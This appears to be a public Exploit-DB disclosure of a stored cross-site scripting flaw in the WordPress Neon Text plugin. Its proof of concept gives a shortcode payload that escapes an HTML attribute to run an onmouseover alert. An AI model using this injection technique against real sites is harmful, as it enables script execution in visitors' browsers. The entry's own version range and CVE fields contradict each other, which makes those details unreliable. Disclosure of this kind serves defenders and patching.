Neontext Wordpress Plugin - Stored XSS

EDB-ID:

51858

CVE:

N/A


Author:

Eren Car

Type:

webapps


Platform:

PHP

Date:

2024-03-05


# Exploit Title: Wordpress Plugin Neon Text <= 1.1 - Stored Cross Site Scripting (XSS)
# Date: 2023-11-15
# Exploit Author: Eren Car
# Vendor Homepage: https://www.eralion.com/
# Software Link: https://downloads.wordpress.org/plugin/neon-text.zip
# Category: Web Application
# Version: 1.0
# Tested on: Debian / WordPress 6.4.1
# CVE : CVE-2023-5817

# 1. Description:
The Neon text plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's neontext_box shortcode in 1.1 and above versions. 
  
# 2. Proof of Concept (PoC):
  a. Install and activate version 1.0 of the plugin.
  b. Go to the posts page and create new post.
  c. Add shorcode block and insert the following payload:
  
		[neontext_box][neontext color='"onmouseover="alert(document.domain)"']TEST[/neontext][/neontext_box]
		
		
  d. Save the changes and preview the page. Popup window demonstrating the vulnerability will be executed.